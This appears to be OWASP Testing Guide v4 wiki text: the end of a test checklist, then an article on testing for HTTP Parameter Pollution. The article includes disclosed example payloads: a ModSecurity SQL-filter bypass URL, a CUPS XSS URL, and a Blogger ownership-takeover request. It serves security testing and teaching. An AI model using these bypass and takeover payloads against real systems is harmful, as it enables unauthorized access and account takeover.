| OTG-AUTHN-003||Testing for Weak lock out mechanism || || ||
|-
| OTG-AUTHN-004||Testing for bypassing authentication schema || || ||
|-
| OTG-AUTHN-005||Test remember password functionality || || ||
|-
| OTG-AUTHN-006||Testing for Browser cache weakness || || ||
|-
| OTG-AUTHN-007||Testing for Weak password policy || || ||
|-
| OTG-AUTHN-008||Testing for Weak security question/answer || || ||
|-
| OTG-AUTHN-009||Testing for weak password change or reset functionalities || || ||
|-
| OTG-AUTHN-010||Testing for Weaker authentication in alternative channel || || ||
|-
| |||| || || ||
|-
| colspan="5" | '''Authorization Testing'''
|-
| OTG-AUTHZ-001||Testing Directory traversal/file include || || ||
|-
| OTG-AUTHZ-002||Testing for bypassing authorization schema || || ||
|-
| OTG-AUTHZ-003||Testing for Privilege Escalation || || ||
|-
| OTG-AUTHZ-004||Testing for Insecure Direct Object References || || ||
|-
| |||| || || ||
|-
| colspan="5" | '''Session Management Testing'''
|-
| OTG-SESS-001 ||Testing for Bypassing Session Management Schema || || ||
|-
| OTG-SESS-002 ||Testing for Cookies attributes || || ||
|-
| OTG-SESS-003 ||Testing for Session Fixation || || ||
|-
| OTG-SESS-004 ||Testing for Exposed Session Variables || || ||
|-
| OTG-SESS-005 ||Testing for Cross Site Request Forgery || || ||
|-
| OTG-SESS-006 ||Testing for logout functionality || || ||
|-
| OTG-SESS-007 ||Test Session Timeout || || ||
|-
| OTG-SESS-008 ||Testing for Session puzzling || || ||
|-
| || || || || ||
|-
| colspan="5" | '''Input Validation Testing'''
|-
| OTG-INPVAL-001||Testing for Reflected Cross Site Scripting || || ||
|-
| OTG-INPVAL-002||Testing for Stored Cross Site Scripting || || ||
|-
| OTG-INPVAL-003 ||Testing for HTTP Verb Tampering || || ||
|-
| OTG-INPVAL-004||Testing for HTTP Parameter pollution || || ||
|-
| OTG-INPVAL-006||Testing for SQL Injection || || ||
|-
| ||Oracle Testing || || ||
|-
| ||MySQL Testing || || ||
|-
| ||SQL Server Testing || || ||
|-
| ||Testing PostgreSQL || || ||
|-
| ||MS Access Testing || || ||
|-
| ||Testing for NoSQL injection || || ||
|-
| OTG-INPVAL-007||Testing for LDAP Injection || || ||
|-
| OTG-INPVAL-008||Testing for ORM Injection || || ||
|-
| OTG-INPVAL-009||Testing for XML Injection || || ||
|-
| OTG-INPVAL-010||Testing for SSI Injection || || ||
|-
| OTG-INPVAL-011||Testing for XPath Injection || || ||
|-
| OTG-INPVAL-012||IMAP/SMTP Injection || || ||
|-
| OTG-INPVAL-013||Testing for Code Injection || || ||
|-
| ||Testing for Local File Inclusion || || ||
|-
| ||Testing for Remote File Inclusion || || ||
|-
| OTG-INPVAL-014||Testing for Command Injection || || ||
|-
| OTG-INPVAL-015||Testing for Buffer overflow || || ||
|-
| ||Testing for Heap overflow || || ||
|-
| ||Testing for Stack overflow || || ||
|-
| ||Testing for Format string || || ||
|-
| OTG-INPVAL-016||Testing for incubated vulnerabilities || || ||
|-
| OTG-INPVAL-017||Testing for HTTP Splitting/Smuggling || || ||
|-
| |||| || || ||
|-
| colspan="5" | '''Error Handling'''
|-
| OTG-ERR-001||Analysis of Error Codes || || ||
|-
| OTG-ERR-002||Analysis of Stack Traces || || ||
|-
| || || || || ||
|-
| colspan="5" | '''Cryptography'''
|-
| OTG-CRYPST-001||Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection || || ||
|-
| OTG-CRYPST-002||Testing for Padding Oracle || || ||
|-
| OTG-CRYPST-003||Testing for Sensitive information sent via unencrypted channels || || ||
|-
| |||| || || ||
|-
| colspan="5" | '''Business Logic Testing'''
|-
| OTG-BUSLOGIC-001||Test Business Logic Data Validation || || ||
|-
| OTG-BUSLOGIC-002||Test Ability to Forge Requests || || ||
|-
| OTG-BUSLOGIC-003||Test Integrity Checks || || ||
|-
| OTG-BUSLOGIC-004||Test for Process Timing || || ||
|-
| OTG-BUSLOGIC-005||Test Number of Times a Function Can be Used Limits || || ||
|-
| OTG-BUSLOGIC-006||Testing for the Circumvention of Work Flows || || ||
|-
| OTG-BUSLOGIC-007||Test Defenses Against Application Mis-use || || ||
|-
| OTG-BUSLOGIC-008||Test Upload of Unexpected File Types || || ||
|-
| OTG-BUSLOGIC-009||Test Upload of Malicious Files || || ||
|-
| |||| || || ||
|-
| colspan="5" | '''Client Side Testing'''
|-
| OTG-CLIENT-001||Testing for DOM based Cross Site Scripting || || ||
|-
| OTG-CLIENT-002||Testing for JavaScript Execution || || ||
|-
| OTG-CLIENT-003||Testing for HTML Injection || || ||
|-
| OTG-CLIENT-004 ||Testing for Client Side URL Redirect || || ||
|-
| OTG-CLIENT-005||Testing for CSS Injection || || ||
|-
| OTG-CLIENT-006||Testing for Client Side Resource Manipulation || || ||
|-
| OTG-CLIENT-007||Test Cross Origin Resource Sharing || || ||
|-
| OTG-CLIENT-008||Testing for Cross Site Flashing || || ||
|-
| OTG-CLIENT-009||Testing for Clickjacking || || ||
|-
| OTG-CLIENT-010||Testing WebSockets || || ||
|-
| OTG-CLIENT-011||Test Web Messaging || || ||
|-
| OTG-CLIENT-012||Test Local Storage || || ||
|-
|
|}

'''Appendix'''

This section is often used to describe the commercial and open-source tools that were used in conducting the assessment. When custom scripts or code are utilized during the assessment, it should be disclosed in this section or noted as attachment. Customers appreciate when the methodology used by the consultants is included. It gives them an idea of the thoroughness of the assessment and what areas were included.

'''References'''
Industry standard vulnerability severity and risk rankings (CVSS) [1] – http://www.first.org/cvss

Testing for HTTP Parameter pollution (OTG-INPVAL-004)

2014-12-01T17:22:51Z

Nvhaver: /* Client-side HPP */

{{Template:OWASP Testing Guide v4}}

== Summary ==
<br>
Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors or modify internal variables values. As HTTP Parameter Pollution (in short ''HPP'') affects a building block of all web technologies, server and client side attacks exist.
<br>

Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. For instance, [http://www.ietf.org/rfc/rfc3986.txt RFC 3986] simply defines the term ''Query String'' as a series of field-value pairs and [http://www.ietf.org/rfc/rfc2396.txt RFC 2396] defines classes of reversed and unreserved query string characters. Without a standard in place, web application components handle this edge case in a variety of ways (see the table below for details).

By itself, this is not necessarily an indication of vulnerability. However, if the developer is not aware of the problem, the presence of duplicated parameters may produce an anomalous behavior in the application that can be potentially exploited by an attacker. As often in security, unexpected behaviors are a usual source of weaknesses that could lead to HTTP Parameter Pollution attacks in this case. To better introduce this class of vulnerabilities and the outcome of HPP attacks, it is interesting to analyze some real-life examples that have been discovered in the past.

=== Input Validation and filters bypass ===
In 2009, immediately after the publication of the first research on HTTP Parameter Pollution, the technique received attention from the security community as a possible way to bypass web application firewalls.

One of these flaws, affecting ''ModSecurity SQL Injection Core Rules'', represents a perfect example of the impedance mismatch between applications and filters. The ModSecurity filter would correctly blacklist the following string: <code>select 1,2,3 from table</code>, thus blocking this example URL from being processed by the web server: <code>/index.aspx?page=select 1,2,3 from table</code>. However, by exploiting the concatenation of multiple HTTP parameters, an attacker could cause the application server to concatenate the string after the ModSecurity filter already accepted the input. As an example, the URL <code>/index.aspx?page=select 1&page=2,3</code> from table would not trigger the ModSecurity filter, yet the application layer would concatenate the input back into the full malicious string.

Another HPP vulnerability turned out to affect ''Apple Cups'', the well-known printing system used by many UNIX systems. Exploiting HPP, an attacker could easily trigger a Cross-Site Scripting vulnerability using the following URL: <code>http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos</code>. The application validation checkpoint could be bypassed by adding an extra <code>kerberos</code> argument having a valid string (e.g. empty string). As the validation checkpoint would only consider the second occurrence, the first <code>kerberos</code> parameter was not properly sanitized before being used to generate dynamic HTML content. Successful exploitation would result in Javascript code execution under the context of the hosting web site.
<br>

=== Authentication bypass ===
An even more critical HPP vulnerability was discovered in ''Blogger'', the popular blogging platform. The bug allowed malicious users to take ownership of the victim’s blog by using the following HTTP request:

<code>
POST /add-authors.do HTTP/1.1

security_token=attackertoken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList=goldshlager19test%40gmail.com(attacker email)&ok=Invite
</code>

The flaw resided in the authentication mechanism used by the web application, as the security check was performed on the first <code>blogID</code> parameter, whereas the actual operation used the second occurrence.
<br>

===Expected Behavior by Application Server===
<br>
The following table illustrates how different web technologies behave in presence of multiple occurrences of the same HTTP parameter.

Given the URL and querystring: <code>http://example.com/?color=red&color=blue</code>
{|
|-
! Web Application Server Backend !! Parsing Result !! Example
|-
| ASP.NET / IIS || All occurrences concatenated with a comma || color=red,blue
|-
| ASP / IIS || All occurrences concatenated with a comma|| color=red,blue
|-
| PHP / Apache || Last occurrence only || color=blue
|-
| PHP / Zeus || Last occurrence only || color=blue
|-
| JSP, Servlet / Apache Tomcat || First occurrence only || color=red
|-
| JSP, Servlet / Oracle Application Server 10g || First occurrence only || color=red
|-
| JSP, Servlet / Jetty || First occurrence only || color=red
|-
| IBM Lotus Domino || Last occurrence only || color=blue
|-
| IBM HTTP Server || First occurrence only || color=red
|-
| mod_perl, libapreq2 / Apache || First occurrence only || color=red
|-
| Perl CGI / Apache || First occurrence only || color=red
|-
| mod_wsgi (Python) / Apache || First occurrence only || color=red
|-
| Python / Zope || All occurrences in List data type || color=['red','blue']
|}
(source: [[Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf]] )

==How to Test==

Luckily, because the assignment of HTTP parameters is typically handled via the web application server, and not the application code itself, testing the response to parameter pollution should be standard across all pages and actions. However, as in-depth business logic knowledge is necessary, testing HPP requires manual testing. Automatic tools can only partially assist auditors as they tend to generate too many false positives. In addition, HPP can manifest itself in client-side and server-side components.

=== Server-side HPP ===
<br>
To test for HPP vulnerabilities, identify any form or action that allows user-supplied input. Query string parameters in HTTP GET requests are easy to tweak in the navigation bar of the browser. If the form action submits data via POST, the tester will need to use an intercepting proxy to tamper with the POST data as it is sent to the server.
Having identified a particular input parameter to test, one can edit the GET or POST data by intercepting the request, or change the query string after the response page loads. To test for HPP vulnerabilities simply append the same parameter to the GET or POST data but with a different value assigned.

For example: if testing the <code>search_string</code> parameter in the query string, the request URL would include that parameter name and value.
<br><code>http://example.com/?search_string=kittens</code>
<br>

The particular parameter might be hidden among several other parameters, but the approach is the same; leave the other parameters in place and append the duplicate.
<br>
<code>http://example.com/?mode=guest&search_string=kittens&num_results=100</code>
<br>
Append the same parameter with a different value
<br>
<code>http://example.com/?mode=guest&search_string=kittens&num_results=100&search_string=puppies</code>
<br>
and submit the new request.

Analyze the response page to determine which value(s) were parsed. In the above example, the search results may show <code>kittens</code>, <code>puppies</code>, some combination of both (<code>kittens,puppies</code> or <code>kittens~puppies</code> or <code>['kittens','puppies']</code>), may give an empty result, or error page.
<br>

This behavior, whether using the first, last, or combination of input parameters with the same name, is very likely to be consistent across the entire application. Whether or not this default behavior reveals a potential vulnerability depends on the specific input validation and filtering specific to a particular application. As a general rule: if existing input validation and other security mechanisms are sufficient on single inputs, and if the server assigns only the first or last polluted parameters, then parameter pollution does not reveal a vulnerability. If the duplicate parameters are concatenated, different web application components use different occurrences or testing generates an error, there is an increased likelihood of being able to use parameter pollution to trigger security vulnerabilities.

A more in-depth analysis would require three HTTP requests for each HTTP parameter:
# Submit an HTTP request containing the standard parameter name and value, and record the HTTP response. E.g. <code>page?par1=val1</code>
# Replace the parameter value with a tampered value, submit and record the HTTP response. E.g. <code>page?par1=HPP_TEST1</code>
# Send a new request combining step (1) and (2). Again, save the HTTP response. E.g. <code>page?par1=val1&par1=HPP_TEST1</code>
# Compare the responses obtained during all previous steps. If the response from (3) is different from (1) and the response from (3) is also different from (2), there is an impedance mismatch that may be eventually abused to trigger HPP vulnerabilities.

Crafting a full exploit from a parameter pollution weakness is beyond the scope of this text. See the references for examples and details.

=== Client-side HPP ===
<br>
Similarly to server-side HPP, manual testing is the only reliable technique to audit web applications in order to detect parameter pollution vulnerabilities affecting client-side components. While in the server-side variant the attacker leverages a vulnerable web application to access protected data or to perform actions that either not permitted or not supposed to be executed, client-side attacks aim at subverting client-side components and technologies.

To test for HPP client-side vulnerabilities, identify any form or action that allows user input and shows a result of that input back to the user. A search page is ideal, but a login box might not work (as it might not show an invalid username back to the user).

Similarly to server-side HPP, pollute each HTTP parameter with <code>%26HPP_TEST</code> and look for ''url-decoded'' occurrences of the user-supplied payload:
* <code>&HPP_TEST</code>
* <code><tt>&amp;HPP_TEST</tt></code>
* … and others

In particular, pay attention to responses having HPP vectors within <code>data</code>, <code>src</code>, <code>href</code> attributes or forms actions. Again, whether or not this default behavior reveals a potential vulnerability depends on the specific input validation, filtering and application business logic. In addition, it is important to notice that this vulnerability can also affect query string parameters used in XMLHttpRequest (XHR), runtime attribute creation and other plugin technologies (e.g. Adobe Flash’s flashvars variables).

==Tools==
OWASP ZAP HPP Passive/Active Scanners [https://code.google.com/p/zap-extensions/wiki/V1Extensions]

HPP Finder (Chrome Plugin) [https://chrome.google.com/webstore/detail/hpp-finder]

== References ==
'''Whitepapers'''<br>
HTTP Parameter Pollution - Luca Carettoni, Stefano di Paola [https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf]

Split and Join (Bypassing Web Application Firewalls with HTTP Parameter Pollution) - Lavakumar Kuppan [http://www.andlabs.org/whitepapers/Split_and_Join.pdf]

Client-side Http Parameter Pollution Example (Yahoo! Classic Mail flaw) - Stefano di Paola [http://blog.mindedsecurity.com/2009/05/client-side-http-parameter-pollution.html]

How to Detect HTTP Parameter Pollution Attacks - Chrysostomos Daniel [http://www.acunetix.com/blog/whitepaper-http-parameter-pollution/]

CAPEC-460: HTTP Parameter Pollution (HPP) - Evgeny Lebanidze [http://capec.mitre.org/data/definitions/460.html]

Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications - Marco Balduzzi, Carmen Torrano Gimenez, Davide Balzarotti, Engin Kirda [http://www.iseclab.org/people/embyte/papers/hpp.pdf]